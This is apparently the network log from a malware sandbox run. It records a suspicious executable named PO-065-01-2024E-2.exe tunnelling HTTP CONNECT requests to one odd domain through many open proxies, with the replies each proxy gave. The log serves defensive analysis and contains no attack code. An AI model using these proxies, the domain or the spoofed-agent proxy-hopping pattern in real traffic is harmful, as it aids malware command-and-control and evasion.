Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.355564117 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1377	192.168.2.10	52982	95.70.220.173	4153	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.360482931 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1378	192.168.2.10	54299	104.20.51.99	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.369513988 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.525424004 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:51 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1379	192.168.2.10	54301	172.67.181.149	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.370199919 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.524741888 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:51 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1380	192.168.2.10	54168	65.21.24.81	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.374628067 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.739751101 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.25.3 Date: Mon, 11 Mar 2024 15:38:54 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 35 2e 33 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.25.3</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1381	192.168.2.10	54294	38.54.101.254	9000	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.375732899 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1382	192.168.2.10	53072	158.51.210.75	7777	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.382236004 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1383	192.168.2.10	53621	183.230.162.122	9091	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.388019085 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.398648977 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.777723074 CET	325	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.1 Date: Mon, 11 Mar 2024 15:39:55 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1384	192.168.2.10	54176	185.220.226.128	808	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.442272902 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1385	192.168.2.10	53848	64.56.150.102	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.446501970 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.689040899 CET	1286	IN	HTTP/1.1 403 Forbidden Server: squid/3.5.28 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 15:39:51 GMT Content-Type: text/html;charset=utf-8 Content-Length: 1002 X-Squid-Error: ERR_ACCESS_DENIED 0 Content-Language: en X-Cache: MISS from ah_test Via: 1.1 ah_test (squid/3.5.28) Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 38 20 54 68 65 20 41 65 72 6f 68 69 76 65 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 57 65 62 20 50 61 67 65 20 42 6c 6f 63 6b 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 0a 0a 62 6f 64 79 0a 3a 6c 61 6e 67 28 66 61 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 30 25 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 54 61 68 6f 6d 61 2c 20 52 6f 79 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 20 7d 0a 3a 6c 61 6e 67 28 68 65 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 7d 0a 20 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 69 64 3d 22 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 22 3e 0a 3c 64 69 76 20 69 64 3d 22 74 69 74 6c 65 73 22 3e 0a 3c 68 31 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 35 62 38 63 62 64 3b 22 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 61 6e 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 68 31 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 3c 70 3e 41 63 63 65 73 73 20 74 6f 20 74 68 65 20 77 65 62 20 70 61 67 65 20 68 61 73 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 20 69 6e 20 61 63 63 6f 72 64 61 6e 63 65 20 77 69 74 68 20 74 68 65 20 6e 65 74 77 6f 72 6b 20 70 6f 6c 69 63 79 2e 20 49 66 20 79 6f 75 20 62 65 6c 69 65 76 65 20 74 68 69 73 20 69 73 20 61 6e 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 79 6f 75 20 73 79 73 74 65 6d 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 55 52 4c 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 2f 2a 22 3e 68 74 74 70 73 3a 2f 2f 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 2f 2a 3c 2f 61 3e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 43 61 74 65 67 6f 72 79 3a 20 3c 2f 70 3e 0a 3c 62 72 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 66 6f 6f 74 65 72 22 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 22 3e 47 65 6e 65 72 61 74 65 64 20 4d 6f 6e 2c 20 31 31 20 4d 61 72 20 32 30 32 34 20 31 35 3a 33 39 3a 35 31 20 47 4d 54 3c 2f 70 3e 0a 3c 2f 64 Data Ascii: <html><head><meta type="copyright" content="Copyright (C) 1996-2018 The Aerohive"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: Web Page Blocked</title><style type="text/css">... body:lang(fa) { direction: rtl; font-size: 100%; font-family: Tahoma, Roya, sans-serif; float: right; }:lang(he) { direction: rtl; } --></style></head><body id="ERR_ACCESS_DENIED"><div id="titles"><h1 style="color: #5b8cbd;">The requested URL cannot be retrieved</h1></div><div id="content"><p>Access to the web page has been blocked in accordance with the network policy. If you believe this is an error, please contact you system administrator.</p><p style="color: #7192b4;">URL: <a href="https://heygirlisheeverythingyouwantedinaman.com/">https://heygirlisheeverythingyouwantedinaman.com/</a></p><p style="color: #7192b4;">Category: </p><br></div><div id="footer"><p style="font-size: 12px;">Generated Mon, 11 Mar 2024 15:39:51 GMT</p></d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1386	192.168.2.10	52976	213.250.198.66	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.446640968 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1387	192.168.2.10	53592	34.93.157.87	8514	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.458005905 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.504740953 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.505199909 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:03.548991919 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:15.707537889 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:27.707511902 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:39.707499981 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:03.848165035 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1388	192.168.2.10	54180	47.243.205.1	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.458390951 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1389	192.168.2.10	52887	146.59.18.246	30673	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.462191105 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1390	192.168.2.10	54175	103.83.232.122	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.462321043 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1391	192.168.2.10	54317	172.67.181.107	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.466965914 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.621368885 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:51 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1392	192.168.2.10	54172	103.190.54.141	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.467178106 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:06.538105965 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1393	192.168.2.10	54328	104.24.136.68	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.472557068 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.626669884 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:51 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1394	192.168.2.10	54303	162.253.68.97	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.472608089 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1395	192.168.2.10	54238	203.222.24.36	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.473948956 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1396	192.168.2.10	54229	45.81.232.17	23363	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.476854086 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.207794905 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.207971096 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:55.207969904 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1397	192.168.2.10	54202	103.166.141.74	20074	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.480357885 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1398	192.168.2.10	50269	192.163.202.88	10722	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
